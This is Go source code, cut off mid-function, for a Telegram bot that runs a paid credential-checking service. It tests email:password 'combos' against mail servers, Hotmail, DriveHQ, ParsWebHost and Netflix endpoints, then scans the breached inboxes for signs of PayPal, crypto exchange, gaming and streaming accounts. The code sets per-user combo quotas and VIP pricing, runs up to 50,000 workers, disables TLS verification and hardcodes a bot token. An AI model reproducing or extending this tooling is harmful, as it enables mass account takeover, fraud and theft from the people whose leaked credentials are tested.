// zalbot.go v13 — SMTP+IMAP · Hotmail · DriveHQ · ParsWebHost(VIP) · Cookie
// speed: single-pass regex scan, partial body fetch, early-exit, batched db writes
// stop: instant result dispatch via watcher goroutine
// hotmail: no country lookup, lighter output
// v13: per-worker timeout (no more stuck jobs), fixed mixed-cookie parsing, tab-aware netscape
package main

import (
	"bufio"
	"bytes"
	"crypto/tls"
	"encoding/json"
	"fmt"
	"html"
	"io"
	"log"
	"math/rand"
	"mime/multipart"
	"net"
	"net/http"
	"net/http/cookiejar"
	"net/smtp"
	"net/url"
	"os"
	"os/signal"
	"path/filepath"
	"regexp"
	"runtime"
	"sort"
	"strconv"
	"strings"
	"sync"
	"sync/atomic"
	"syscall"
	"time"
)

const (
	BotToken         = "8752146691:AAENHSZbRQii1FCiW3NUz4RJgP2J-0RornM"
	AdminCmd         = "/zal_panel_9k2"
	Support          = "@MR_CRKZ"
	UserDailyMin     = 5000
	UserDailyMax     = 10000
	UserHotmailDaily = 3000
	ImapTimeout      = 12 * time.Second
	SmtpTimeout      = 8 * time.Second
	SmtpProbeTimeout = 3 * time.Second
	HttpJobTimeout   = 25 * time.Second
	EditInterval     = 3 * time.Second
	PollTimeout      = 15
	FetchMaxIDs      = 60
	MaxGlobalWorkers  = 50000
	MaxConcurrentJobs = 100
	MaxThreadsAdmin = 10000
	MaxThreadsVIP   = 7500
	MaxThreadsUser  = 3000
	FetchByteCap    = 262144
	PartialBody     = 65536
	DBFlushInterval = 3 * time.Second
	StopGrace       = 150 * time.Millisecond
	// per-worker hard caps so a job can never stall
	WorkerTimeoutSM = 45 * time.Second
	WorkerTimeoutHM = 90 * time.Second
	WorkerTimeoutDH = 30 * time.Second
	WorkerTimeoutPH = 40 * time.Second
	WorkerTimeoutCK = 35 * time.Second
	LogChatID   = int64(-1003817632871)
	VIPPriceUSD = 5
	GraphBase   = "https://graph.microsoft.com/v1.0"
	DH_LOGON    = "https://www.drivehq.com/api/secure/ApiLogon.aspx"
	DH_ACTIVATE = "https://www.drivehq.com/secure/Activate.aspx"
	DH_REFERER  = "https://www.drivehq.com/secure/logonoption.aspx"
	PH_BASE       = "https://my.parswebhost.net"
	PH_LOGIN      = PH_BASE + "/index.php?rp=/login"
	PH_CLIENTAREA = PH_BASE + "/clientarea.php"
	NetflixURL  = "https://www.netflix.com/account"
)

var APIBase = "https://api.telegram.org/bot" + BotToken
var FileBase = "https://api.telegram.org/file/bot" + BotToken

var (
	adminIDs  = map[int64]bool{7843550378: true}
	adminLock sync.RWMutex
	globalSem = make(chan struct{}, MaxGlobalWorkers)
	jobSem    = make(chan struct{}, MaxConcurrentJobs)
	testingMode bool
	testingLock sync.RWMutex
)

func isAdmin(u int64) bool { adminLock.RLock(); defer adminLock.RUnlock(); return adminIDs[u] }
func addAdmin(u int64)     { adminLock.Lock(); adminIDs[u] = true; adminLock.Unlock() }
func removeAdmin(u int64)  { adminLock.Lock(); delete(adminIDs, u); adminLock.Unlock() }
func isTestingMode() bool  { testingLock.RLock(); defer testingLock.RUnlock(); return testingMode }
func setTestingMode(v bool){ testingLock.Lock(); testingMode = v; testingLock.Unlock() }

type JoinChat struct{ ID int64; Title, Link, EmojiKey string }

var joinChats = []JoinChat{
	{-1004382845778, "ᴄʜᴀɴɴᴇʟ", "https://t.me/+F4lGYLLn12o0N2Rh", "channel"},
	{-1003817632871, "ɢʀᴏᴜᴘ", "https://t.me/+3VmlB5rhqCc4OTZk", "group"},
}

var premiumEmoji = map[string]string{
	"money":"5224257782013769471","speed":"5323761960829862762","checked":"5258134813302332906",
	"star":"5258185631355378853","ok":"5260416304224936047","time":"5348236797606379943",
	"bad":"5393240405531697995","crown":"5130155228947022634","vip":"5280962371207077415",
	"stop":"6084515769780013003","run":"5389057356493511934","done":"5408906741125490282",
	"threads":"5803348359972393936","smtp":"4929524417354007168","service":"5258508428212445001",
	"good":"5298988357538328017","user":"5258362837411045098","id":"6323600780783781848",
	"target":"5244637766905506607","channel":"5278256077954105203","group":"5989971281758394805",
	"jobs":"5258391025281408576","stats":"5231200819986047254","users":"5258513401784573443",
	"admin":"5129789422287454857","reset":"5334926255869405294","inbox":"6030828743004524170",
	"file":"5452165780579843515","name":"5411554197621463099","banned":"5224611644369298981",
	"db":"6334801943822600210","broadcast":"5260535596941582167","hotmail":"4970246557065544891",
	"gear":"5348236797606379943","lock":"5258134813302332906","unlock":"5981238715597460514",
	"netflix":"5319085699222220172","drivehq":"5391289459587173886","webhost":"5350396715184727798",
	"cookie":"5258289810082111221",
}
var emojiDefault = map[string]string{
	"crown":"👑","stop":"🛑","run":"🚀","done":"🏁","time":"⏰","speed":"⚡️","threads":"⚙️",
	"smtp":"🗃","service":"🎮","good":"💎","bad":"❌","checked":"📦","user":"👤","id":"🆔",
	"ok":"✅","target":"🎯","channel":"📢","group":"💬","jobs":"📈","stats":"📊","users":"👥",
	"admin":"👑","reset":"♻️","inbox":"📥","file":"📁","name":"📛","banned":"🚫","db":"🗄️",
	"broadcast":"💬","star":"⭐","vip":"💎","money":"💰","hotmail":"📧","gear":"⚙️","lock":"🔒",
	"unlock":"🔓","netflix":"🎬","drivehq":"☁️","webhost":"🌐","cookie":"🍪",
}
func em(k string) string {
	d := emojiDefault[k]; if d == "" { d = "•" }
	if c := premiumEmoji[k]; c != "" { return `<tg-emoji emoji-id="` + c + `">` + d + `</tg-emoji>` }
	return d
}
func crownHeader() string { c := em("crown"); return c + " " + c + " " + c }

func verifyEmojiIDs() {
	ids := make([]string, 0, len(premiumEmoji)); seen := map[string]bool{}
	for _, v := range premiumEmoji { if v != "" && !seen[v] { seen[v] = true; ids = append(ids, v) } }
	if len(ids) == 0 { return }
	r := apiCall("getCustomEmojiStickers", map[string]any{"custom_emoji_ids": ids}, false)
	if r == nil { return }
	res, ok := r["result"].([]any); if !ok { return }
	good := map[string]bool{}
	for _, it := range res {
		if m, ok := it.(map[string]any); ok {
			if id, ok := m["custom_emoji_id"].(string); ok { good[id] = true }
		}
	}
	for k, id := range premiumEmoji { if id != "" && !good[id] { premiumEmoji[k] = "" } }
}

var services = map[string][]string{
	"PlayStation":{"playstation","play station","psn","sony"},
	"Steam":{"steam","steamcommunity","valve"},
	"Xbox":{"xbox","xbox live"},
	"Nintendo":{"nintendo","switch account"},
	"EpicGames":{"epic games","epicgames","fortnite"},
	"Riot":{"riot games","league of legends","valorant"},
	"Roblox":{"roblox"},
	"Ubisoft":{"ubisoft","uplay"},
	"EA":{"ea games","electronic arts","origin"},
	"BattleNet":{"battlenet","blizzard"},
	"GOG":{"gog.com","gog galaxy"},
	"Netflix":{"netflix"},
	"Spotify":{"spotify"},
	"DisneyPlus":{"disney+"},
	"Hulu":{"hulu"},
	"HBO":{"hbo max","hbo"},
	"PrimeVideo":{"prime video"},
	"Crunchyroll":{"crunchyroll"},
	"Discord":{"discord","discordapp"},
	"Instagram":{"instagram"},
	"Facebook":{"facebook"},
	"TikTok":{"tiktok"},
	"Twitter":{"twitter","x.com"},
	"Snapchat":{"snapchat"},
	"Reddit":{"reddit"},
	"Pinterest":{"pinterest"},
	"LinkedIn":{"linkedin"},
	"Telegram":{"telegram"},
	"Amazon":{"amazon"},
	"eBay":{"ebay"},
	"AliExpress":{"aliexpress"},
	"Etsy":{"etsy"},
	"Walmart":{"walmart"},
	"PayPal":{"paypal"},
	"Wise":{"wise.com","transferwise"},
	"Revolut":{"revolut"},
	"Binance":{"binance"},
	"Coinbase":{"coinbase"},
	"MetaMask":{"metamask"},
	"TrustWallet":{"trust wallet"},
	"Kraken":{"kraken"},
	"KuCoin":{"kucoin"},
	"OKX":{"okx"},
	"NordVPN":{"nordvpn"},
	"ExpressVPN":{"expressvpn"},
	"Surfshark":{"surfshark"},
	"Cloudflare":{"cloudflare"},
	"Namecheap":{"namecheap"},
	"GoDaddy":{"godaddy"},
	"DigitalOcean":{"digitalocean"},
	"Yahoo":{"yahoo"},
	"Outlook":{"outlook"},
	"ProtonMail":{"protonmail"},
	"Zoho":{"zoho"},
	"Apple":{"apple id","appleid","icloud"},
	"Google":{"google account","gmail"},
}
var serviceFromDomains = map[string][]string{
	"Netflix":{"netflix.com","mailer.netflix.com"},
	"Spotify":{"spotify.com","mail.spotify.com"},
	"PayPal":{"paypal.com","mail.paypal.com"},
	"Amazon":{"amazon.com","marketplace.amazon.com"},
	"Discord":{"discord.com","discordapp.com"},
	"Instagram":{"mail.instagram.com","instagram.com"},
	"Facebook":{"facebookmail.com","facebook.com"},
	"Twitter":{"twitter.com","x.com"},
	"Steam":{"steampowered.com","steamcommunity.com"},
	"PlayStation":{"playstation.com","sony.com"},
	"Xbox":{"xbox.com","microsoft.com"},
	"EpicGames":{"epicgames.com"},
	"Riot":{"riotgames.com"},
	"Roblox":{"roblox.com","mail.roblox.com"},
	"Apple":{"apple.com","email.apple.com","icloud.com"},
	"Google":{"google.com","accounts.google.com"},
	"Binance":{"binance.com"},
	"Coinbase":{"coinbase.com"},
	"TikTok":{"tiktok.com"},
	"Snapchat":{"snapchat.com","snap.com"},
	"LinkedIn":{"linkedin.com"},
	"Reddit":{"reddit.com","redditmail.com"},
	"Pinterest":{"pinterest.com"},
	"Cloudflare":{"cloudflare.com"},
	"Namecheap":{"namecheap.com"},
	"GoDaddy":{"godaddy.com"},
	"DigitalOcean":{"digitalocean.com"},
	"Yahoo":{"yahoo.com"},
	"Outlook":{"microsoft.com","outlook.com"},
	"ProtonMail":{"protonmail.com","proton.me"},
}
var serviceEmojiMap = map[string]string{
	"PlayStation":"🎮","Steam":"🎮","Xbox":"🎮","Nintendo":"🎮","EpicGames":"🎮","Riot":"🎮",
	"Roblox":"🎮","Ubisoft":"🎮","EA":"🎮","BattleNet":"🎮","GOG":"🎮","Netflix":"📺",
	"DisneyPlus":"📺","Hulu":"📺","HBO":"📺","PrimeVideo":"📺","Crunchyroll":"📺",
	"Spotify":"🎵","TikTok":"🎵","Discord":"💬","Instagram":"📷","Facebook":"📘",
	"Twitter":"🐦","Snapchat":"❤️","Reddit":"🟠","Pinterest":"🧩","LinkedIn":"🌐",
	"Telegram":"📱","Amazon":"🛒","eBay":"🛒","AliExpress":"🛒","Etsy":"🛒",
	"Walmart":"🛒","PayPal":"💰","Wise":"💸","Revolut":"💸","Binance":"🪙",
	"Coinbase":"🪙","TrustWallet":"🪙","Kraken":"🪙","KuCoin":"🪙","OKX":"🪙",
	"MetaMask":"🦊","NordVPN":"🔑","ExpressVPN":"🔑","Surfshark":"🔑",
	"Cloudflare":"☁️","Namecheap":"🌐","GoDaddy":"🌐","DigitalOcean":"🌊",
	"Yahoo":"📧","Outlook":"📧","ProtonMail":"📧","Zoho":"📧","Apple":"🍏","Google":"📱",
}
var servicePremium = map[string]string{
	"Netflix":"5319085699222220172","DisneyPlus":"5319085699222220172",
	"Hulu":"5319085699222220172","HBO":"5319085699222220172",
	"PrimeVideo":"5319085699222220172","Crunchyroll":"5319085699222220172",
	"Spotify":"5258289810082111221","TikTok":"5258289810082111221",
	"Discord":"5260535596941582167","Instagram":"5350828054455299808",
	"Facebook":"5863854008107539809","Twitter":"5895351971111506837",
	"Snapchat":"5904398851569093839","Reddit":"5118634112319488716",
	"Pinterest":"5256149138252246455","LinkedIn":"5357053089859772828",
	"Telegram":"5220069871072583573","Amazon":"5323624199753842832",
	"eBay":"5294292974736253662","PayPal":"5224257782013769471",
	"Binance":"5258368777350816286","Coinbase":"5258368777350816286",
	"Apple":"5983323312334311740","Google":"5069075201950483359",
	"PlayStation":"5258508428212445001","Steam":"5258508428212445001",
	"Xbox":"5258508428212445001","EpicGames":"5258508428212445001",
	"Roblox":"5258508428212445001","Riot":"5258508428212445001",
}
func emService(s string) string {
	e := serviceEmojiMap[s]; if e == "" { e = "•" }
	if c := servicePremium[s]; c != "" { return `<tg-emoji emoji-id="` + c + `">` + e + `</tg-emoji>` }
	return e
}
var serviceOrder = []string{
	"PlayStation","Steam","Xbox","Nintendo","EpicGames","Riot","Roblox","Ubisoft",
	"EA","BattleNet","GOG","Netflix","Spotify","DisneyPlus","Hulu","HBO","PrimeVideo",
	"Crunchyroll","Discord","Instagram","Facebook","TikTok","Twitter","Snapchat",
	"Reddit","Pinterest","LinkedIn","Telegram","Amazon","eBay","AliExpress","Etsy",
	"Walmart","PayPal","Wise","Revolut","Binance","Coinbase","MetaMask","TrustWallet",
	"Kraken","KuCoin","OKX","NordVPN","ExpressVPN","Surfshark","Cloudflare",
	"Namecheap","GoDaddy","DigitalOcean","Yahoo","Outlook","ProtonMail","Zoho",
	"Apple","Google",
}

// ---- fast single-pass scanner ----
var (
	kwToService = map[string]string{}
	bigKwRe     *regexp.Regexp
	domainRes   = map[string]*regexp.Regexp{}
)

func initScanner() {
	seen := map[string]bool{}
	var kws []string
	for _, name := range serviceOrder {
		list := services[name]
		for _, kw := range list {
			lk := strings.ToLower(kw)
			if lk == "" || seen[lk] { continue }
			seen[lk] = true
			kwToService[lk] = name
			kws = append(kws, regexp.QuoteMeta(lk))
		}
	}
	if len(kws) > 0 {
		bigKwRe = regexp.MustCompile(strings.Join(kws, "|"))
	}
	for name, doms := range serviceFromDomains {
		esc := make([]string, len(doms))
		for i, d := range doms { esc[i] = regexp.QuoteMeta(strings.ToLower(d)) }
		domainRes[name] = regexp.MustCompile(strings.Join(esc, "|"))
	}
}

func scanMessage(full string) (string, int) {
	if bigKwRe == nil { return "", 0 }
	lower := strings.ToLower(full)
	matches := bigKwRe.FindAllString(lower, -1)
	scores := map[string]int{}
	for _, m := range matches {
		if svc, ok := kwToService[m]; ok { scores[svc]++ }
	}
	if len(scores) == 0 {
		for _, name := range serviceOrder {
			if re := domainRes[name]; re != nil && re.MatchString(lower) {
				scores[name] += 5
			}
		}
	}
	if len(scores) == 0 { return "", 0 }
	best := ""; bestScore := 0
	for _, name := range serviceOrder {
		if scores[name] > bestScore { bestScore = scores[name]; best = name }
	}
	if bestScore < 1 { return "", 0 }
	return best, bestScore
}

var smallCapsMap = map[rune]rune{
	'a':'ᴀ','b':'ʙ','c':'ᴄ','d':'ᴅ','e':'ᴇ','f':'ꜰ','g':'ɢ','h':'ʜ','i':'ɪ',
	'j':'ᴊ','k':'ᴋ','l':'ʟ','m':'ᴍ','n':'ɴ','o':'ᴏ','p':'ᴘ','q':'ǫ','r':'ʀ',
	's':'ꜱ','t':'ᴛ','u':'ᴜ','v':'ᴠ','w':'ᴡ','x':'x','y':'ʏ','z':'ᴢ',
}
func sc(s string) string {
	var b strings.Builder
	for _, r := range strings.ToLower(s) {
		if v, ok := smallCapsMap[r]; ok { b.WriteRune(v) } else { b.WriteRune(r) }
	}
	return b.String()
}
func boldSans(s string) string {
	var b strings.Builder
	for _, r := range s {
		switch {
		case r >= 'A' && r <= 'Z': b.WriteRune(rune(0x1D5D4 + (r - 'A')))
		case r >= 'a' && r <= 'z': b.WriteRune(rune(0x1D5EE + (r - 'a')))
		case r >= '0' && r <= '9': b.WriteRune(rune(0x1D7EC + (r - '0')))
		default: b.WriteRune(r)
		}
	}
	return b.String()
}
func fmtElapsed(sec float64) string {
	s := int(sec); return fmt.Sprintf("%02d:%02d:%02d", s/3600, (s%3600)/60, s%60)
}
func withCommas(n int) string {
	s := strconv.Itoa(n); if n < 0 { return s }
	var out []byte
	for i := 0; i < len(s); i++ {
		if i > 0 && (len(s)-i)%3 == 0 { out = append(out, ',') }
		out = append(out, s[i])
	}
	return string(out)
}
var tldCountry = map[string]string{
	"it":"IT","fr":"FR","de":"DE","es":"ES","co":"CO","mx":"MX","ar":"AR","br":"BR",
	"cl":"CL","pe":"PE","ve":"VE","ec":"EC","uy":"UY","py":"PY","bo":"BO","gb":"GB",
	"uk":"GB","nl":"NL","be":"BE","ch":"CH","at":"AT","se":"SE","no":"NO","dk":"DK",
	"fi":"FI","pt":"PT","gr":"GR","pl":"PL","cz":"CZ","ro":"RO","hu":"HU","ie":"IE",
	"ru":"RU","ua":"UA","tr":"TR","in":"IN","pk":"PK","bd":"BD","id":"ID","ph":"PH",
	"th":"TH","vn":"VN","my":"MY","sg":"SG","hk":"HK","jp":"JP","kr":"KR","cn":"CN",
	"tw":"TW","au":"AU","nz":"NZ","za":"ZA","ng":"NG","ke":"KE","eg":"EG","ma":"MA",
	"dz":"DZ","tn":"TN","sa":"SA","ae":"AE","il":"IL","ir":"IR","ca":"CA","us":"US",
	"me":"ME","rs":"RS","hr":"HR","si":"SI","sk":"SK","bg":"BG","lt":"LT","lv":"LV",
	"ee":"EE","by":"BY","kz":"KZ","uz":"UZ","az":"AZ","ge":"GE","am":"AM","lb":"LB",
	"jo":"JO","kw":"KW","qa":"QA","bh":"BH","om":"OM","ye":"YE","iq":"IQ","sy":"SY",
	"af":"AF","lk":"LK","np":"NP","mm":"MM","kh":"KH","la":"LA","mn":"MN","kg":"KG",
	"tj":"TJ","tm":"TM","is":"IS","lu":"LU","mt":"MT","cy":"CY","al":"AL","mk":"MK",
	"ba":"BA","md":"MD","mc":"MC","li":"LI","ad":"AD","sm":"SM","va":"VA","gi":"GI",
	"im":"IM","je":"JE","gg":"GG","fo":"FO","gl":"GL","pr":"PR","vi":"VI","gu":"GU",
	"as":"AS","mp":"MP","um":"UM","ai":"AI","io":"IO",
}
func countryFromTLD(email string) string {
	at := strings.LastIndex(email, "@")
	if at < 0 { return "" }
	parts := strings.Split(strings.ToLower(email[at+1:]), ".")
	if len(parts) < 2 { return "" }
	if cc, ok := tldCountry[parts[len(parts)-1]]; ok { return cc }
	return ""
}
func lookupCountry(combo string) string {
	i := strings.Index(combo, ":")
	if i < 0 { return "Unknown" }
	if cc := countryFromTLD(combo[:i]); cc != "" { return cc }
	return "Unknown"
}
func flagEmoji(cc string) string {
	cc = strings.ToUpper(strings.TrimSpace(cc))
	if len(cc) != 2 { return "" }
	for _, r := range cc { if r < 'A' || r > 'Z' { return "" } }
	const b = 0x1F1E6
	return string(rune(b+(rune(cc[0])-'A'))) + string(rune(b+(rune(cc[1])-'A')))
}
func countryWithFlag(cc string) string {
	cc = strings.ToUpper(strings.TrimSpace(cc))
	if cc == "" || cc == "UNKNOWN" { return "🌐 Unknown" }
	f := flagEmoji(cc); if f == "" { return "🌐 " + cc }
	return f + " " + cc
}

type UserRecord struct {
	ID           int64  `json:"id"`
	FirstSeen    int64  `json:"first_seen"`
	Banned       bool   `json:"banned"`
	VIP          bool   `json:"vip"`
	VIPExpiry    int64  `json:"vip_expiry"`
	DailyLimit   int    `json:"daily_limit"`
	HotmailLimit int    `json:"hotmail_limit"`
	ComboToday   int    `json:"combo_today"`
	HotmailToday int    `json:"hotmail_today"`
	Day          string `json:"day"`
	TotalJobs    int    `json:"total_jobs"`
	TotalChecked int    `json:"total_checked"`
	TotalGood    int    `json:"total_good"`
	Username     string `json:"username"`
	FirstName    string `json:"first_name"`
}
type StatsRec struct {
	TotalJobs    int `json:"total_jobs"`
	TotalChecked int `json:"total_checked"`
	TotalGood    int `json:"total_good"`
	TotalVIP     int `json:"total_vip"`
}
type DB struct {
	Users       map[string]*UserRecord `json:"users"`
	Stats       StatsRec               `json:"stats"`
	TestingMode bool                   `json:"testing_mode"`
}
const dbFile = "botdb.json"
var (
	db      = &DB{Users: map[string]*UserRecord{}}
	dbLock  sync.Mutex
	dbDirty int32
)
func dbMarkDirty() { atomic.StoreInt32(&dbDirty, 1) }
func dbLoad() {
	data, err := os.ReadFile(dbFile)
	if err != nil { db = &DB{Users: map[string]*UserRecord{}}; return }
	json.Unmarshal(data, db)
	if db.Users == nil { db.Users = map[string]*UserRecord{} }
	setTestingMode(db.TestingMode)
}
func dbSaveLocked() {
	db.TestingMode = isTestingMode()
	data, _ := json.MarshalIndent(db, "", "  ")
	tmp := dbFile + ".tmp"
	os.WriteFile(tmp, data, 0644)
	os.Rename(tmp, dbFile)
}
func dbSaveNow() {
	dbLock.Lock()
	atomic.StoreInt32(&dbDirty, 0)
	dbSaveLocked()
	dbLock.Unlock()
}
func dbFlushLoop() {
	for {
		time.Sleep(DBFlushInterval)
		if atomic.LoadInt32(&dbDirty) == 1 {
			dbLock.Lock()
			if atomic.CompareAndSwapInt32(&dbDirty, 1, 0) {
				dbSaveLocked()
			}
			dbLock.Unlock()
		}
	}
}
func today() string { return time.Now().UTC().Format("2006-01-02") }
func randDailyLimit() int {
	if UserDailyMax <= UserDailyMin { return UserDailyMax }
	return UserDailyMin + rand.Intn(UserDailyMax-UserDailyMin+1)
}
func vipActive(u *UserRecord) bool {
	if !u.VIP { return false }
	if u.VIPExpiry == 0 { return true }
	return time.Now().Unix() < u.VIPExpiry
}
func userGet(uid int64) *UserRecord {
	dbLock.Lock(); defer dbLock.Unlock()
	key := strconv.FormatInt(uid, 10)
	u, ok := db.Users[key]
	if !ok {
		u = &UserRecord{ID: uid, FirstSeen: time.Now().Unix(), Day: today(),
			DailyLimit: randDailyLimit(), HotmailLimit: UserHotmailDaily}
		db.Users[key] = u
		dbMarkDirty()
	}
	if u.DailyLimit < UserDailyMin { u.DailyLimit = randDailyLimit(); dbMarkDirty() }
	if u.HotmailLimit <= 0 { u.HotmailLimit = UserHotmailDaily; dbMarkDirty() }
	if u.Day != today() { u.Day = today(); u.ComboToday = 0; u.HotmailToday = 0; dbMarkDirty() }
	return u
}
func userUpdate(uid int64, fn func(*UserRecord)) {
	dbLock.Lock()
	key := strconv.FormatInt(uid, 10)
	if u, ok := db.Users[key]; ok { fn(u) }
	dbMarkDirty()
	dbLock.Unlock()
}
func isBanned(uid int64) bool {
	dbLock.Lock(); defer dbLock.Unlock()
	u := db.Users[strconv.FormatInt(uid, 10)]
	return u != nil && u.Banned
}
func isVIP(uid int64) bool {
	if isAdmin(uid) { return true }
	dbLock.Lock(); defer dbLock.Unlock()
	u := db.Users[strconv.FormatInt(uid, 10)]
	if u == nil { return false }
	return vipActive(u)
}
func userRemaining(uid int64, kind string) int {
	if isAdmin(uid) || isVIP(uid) { return 1 << 30 }
	dbLock.Lock(); defer dbLock.Unlock()
	u := db.Users[strconv.FormatInt(uid, 10)]
	if u == nil {
		if kind == "hm" { return UserHotmailDaily }
		return UserDailyMax
	}
	if u.Day != today() {
		if kind == "hm" { return u.HotmailLimit }
		return u.DailyLimit
	}
	var r int
	if kind == "hm" { r = u.HotmailLimit - u.HotmailToday } else { r = u.DailyLimit - u.ComboToday }
	if r < 0 { r = 0 }
	return r
}
func userConsume(uid int64, kind string, amount int) {
	if isAdmin(uid) || isVIP(uid) { return }
	dbLock.Lock()
	u := db.Users[strconv.FormatInt(uid, 10)]
	if u != nil {
		if u.Day != today() { u.Day = today(); u.ComboToday = 0; u.HotmailToday = 0 }
		if kind == "hm" {
			if u.HotmailLimit <= 0 { u.HotmailLimit = UserHotmailDaily }
			u.HotmailToday += amount
		} else {
			if u.DailyLimit < UserDailyMin { u.DailyLimit = randDailyLimit() }
			u.ComboToday += amount
		}
		dbMarkDirty()
	}
	dbLock.Unlock()
}
func allUsers() []*UserRecord {
	dbLock.Lock(); defer dbLock.Unlock()
	out := make([]*UserRecord, 0, len(db.Users))
	for _, u := range db.Users { out = append(out, u) }
	sort.Slice(out, func(i, j int) bool { return out[i].FirstSeen < out[j].FirstSeen })
	return out
}

var httpClient = &http.Client{
	Transport: &http.Transport{
		TLSClientConfig:     &tls.Config{InsecureSkipVerify: true},
		MaxIdleConns:        2000,
		MaxIdleConnsPerHost: 500,
		IdleConnTimeout:     90 * time.Second,
	},
	Timeout: 40 * time.Second,
}
var reTgEmoji = regexp.MustCompile(`<tg-emoji[^>]*>(.*?)</tg-emoji>`)
var reAnyTag = regexp.MustCompile(`</?[a-zA-Z][^>]*>`)
func stripTgEmoji(s string) string  { return reTgEmoji.ReplaceAllString(s, "$1") }
func stripHTMLTags(s string) string { return reAnyTag.ReplaceAllString(s, "") }

func apiCall(m string, p map[string]any, quiet bool) map[string]any {
	if p == nil { p = map[string]any{} }
	body, _ := json.Marshal(p)
	req, _ := http.NewRequest("POST", APIBase+"/"+m, bytes.NewReader(body))
	req.Header.Set("Content-Type", "application/json")
	resp, err := httpClient.Do(req)
	if err != nil {
		if !quiet && m != "getUpdates" { log.Printf("[!] api %s: %v", m, err) }
		return nil
	}
	defer resp.Body.Close()
	if resp.StatusCode == 429 {
		if !quiet {
			var rb map[string]any
			json.NewDecoder(resp.Body).Decode(&rb)
			if ra, ok := rb["parameters"].(map[string]any); ok {
				if s, ok := ra["retry_after"].(float64); ok { time.Sleep(time.Duration(s) * time.Second) }
			}
		}
		return nil
	}
	var out map[string]any
	json.NewDecoder(resp.Body).Decode(&out)
	return out
}
func apiCallAsync(m string, p map[string]any, quiet bool) {
	go func() { defer func() { recover() }(); apiCall(m, p, quiet) }()
}
func apiSendMessageTry(chatID int64, text string, kb map[string]any) bool {
	try := func(t string, pm bool) bool {
		p := map[string]any{"chat_id": chatID, "text": t, "disable_web_page_preview": true}
		if pm { p["parse_mode"] = "HTML" }
		if kb != nil { p["reply_markup"] = mustJSON(kb) }
		r := apiCall("sendMessage", p, true)
		if r != nil { if ok, _ := r["ok"].(bool); ok { return true } }
		return false
	}
	if try(text, true) { return true }
	if try(stripTgEmoji(text), true) { return true }
	if try(stripHTMLTags(stripTgEmoji(text)), false) { return true }
	return false
}
func apiSendMessage(chatID int64, text string, kb map[string]any) {
	go func() { defer func() { recover() }(); apiSendMessageTry(chatID, text, kb) }()
}
func apiSendMessageSync(chatID int64, text string, kb map[string]any) map[string]any {
	p := map[string]any{"chat_id": chatID, "text": text, "parse_mode": "HTML", "disable_web_page_preview": true}
	if kb != nil { p["reply_markup"] = mustJSON(kb) }
	r := apiCall("sendMessage", p, true)
	if r != nil { if ok, _ := r["ok"].(bool); ok { return r } }
	p["text"] = stripTgEmoji(text)
	r = apiCall("sendMessage", p, true)
	if r != nil { if ok, _ := r["ok"].(bool); ok { return r } }
	p["text"] = stripHTMLTags(stripTgEmoji(text)); delete(p, "parse_mode")
	return apiCall("sendMessage", p, false)
}
func apiEditMessage(chatID int64, msgID int64, text string, kb map[string]any) {
	go func() {
		defer func() { recover() }()
		try := func(t string, pm bool) bool {
			p := map[string]any{"chat_id": chatID, "message_id": msgID, "text": t, "disable_web_page_preview": true}
			if pm { p["parse_mode"] = "HTML" }
			if kb != nil { p["reply_markup"] = mustJSON(kb) }
			r := apiCall("editMessageText", p, true)
			if r != nil { if ok, _ := r["ok"].(bool); ok { return true } }
			return false
		}
		if try(text, true) { return }
		if try(stripTgEmoji(text), true) { return }
		try(stripHTMLTags(stripTgEmoji(text)), false)
	}()
}
func apiSendDocumentSync(chatID int64, filename string, data []byte, caption string) bool {
	defer func() { recover() }()
	if len(data) == 0 { return false }
	safe := regexp.MustCompile(`[^A-Za-z0-9._-]`).ReplaceAllString(filename, "_")
	if safe == "" { safe = "file.txt" }
	var buf bytes.Buffer
	w := multipart.NewWriter(&buf)
	w.WriteField("chat_id", strconv.FormatInt(chatID, 10))
	if caption != "" { w.WriteField("caption", caption); w.WriteField("parse_mode", "HTML") }
	fw, err := w.CreateFormFile("document", safe)
	if err != nil { return false }
	fw.Write(data)
	w.Close()
	req, _ := http.NewRequest("POST", APIBase+"/sendDocument", &buf)
	req.Header.Set("Content-Type", w.FormDataContentType())
	cl := &http.Client{Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, DisableKeepAlives: true}, Timeout: 180 * time.Second}
	resp, err := cl.Do(req)
	if err != nil { return false }
	defer resp.Body.Close()
	return resp.StatusCode == 200
}
func apiSendDocument(chatID int64, path, caption string) {
	data, err := os.ReadFile(path); if err != nil { return }
	apiSendDocumentSync(chatID, filepath.Base(path), data, caption)
}
func apiSendDocumentBytes(chatID int64, filename string, data []byte, caption string) {
	apiSendDocumentSync(chatID, filename, data, caption)
}
func apiDownloadFile(fileID string) []byte {
	r := apiCall("getFile", map[string]any{"file_id": fileID}, false)
	if r == nil { return nil }
	res, ok := r["result"].(map[string]any); if !ok { return nil }
	fp, _ := res["file_path"].(string); if fp == "" { return nil }
	resp, err := httpClient.Get(FileBase + "/" + fp)
	if err != nil { return nil }
	defer resp.Body.Close()
	data, _ := io.ReadAll(resp.Body)
	return data
}
func apiAnswerCallback(cbID, text string) {
	p := map[string]any{"callback_query_id": cbID}
	if text != "" { p["text"] = text }
	apiCallAsync("answerCallbackQuery", p, true)
}
func mustJSON(v any) string { b, _ := json.Marshal(v); return string(b) }

type memberCacheEntry struct{ IsMember bool; Expires time.Time }
var (
	memberCache     = map[string]*memberCacheEntry{}
	memberCacheLock sync.Mutex
)
func isMember(chatID, userID int64) bool {
	key := fmt.Sprintf("%d:%d", chatID, userID)
	memberCacheLock.Lock()
	if c, ok := memberCache[key]; ok && time.Now().Before(c.Expires) { memberCacheLock.Unlock(); return c.IsMember }
	memberCacheLock.Unlock()
	r := apiCall("getChatMember", map[string]any{"chat_id": chatID, "user_id": userID}, true)
	result := true
	if r != nil {
		if res, ok := r["result"].(map[string]any); ok {
			st, _ := res["status"].(string)
			result = st == "creator" || st == "administrator" || st == "member"
		}
	}
	memberCacheLock.Lock()
	memberCache[key] = &memberCacheEntry{IsMember: result, Expires: time.Now().Add(60 * time.Second)}
	memberCacheLock.Unlock()
	return result
}
func invalidateMemberCache(userID int64) {
	suffix := fmt.Sprintf(":%d", userID)
	memberCacheLock.Lock()
	for k := range memberCache { if strings.HasSuffix(k, suffix) { delete(memberCache, k) } }
	memberCacheLock.Unlock()
}
func memberCacheCleanup() {
	for {
		time.Sleep(5 * time.Minute)
		now := time.Now()
		memberCacheLock.Lock()
		for k, v := range memberCache { if now.After(v.Expires) { delete(memberCache, k) } }
		memberCacheLock.Unlock()
		pendingLk.Lock()
		for id, p := range pending { if time.Since(p.TS) > 30*time.Minute { delete(pending, id); delete(pendingUID, p.UID) } }
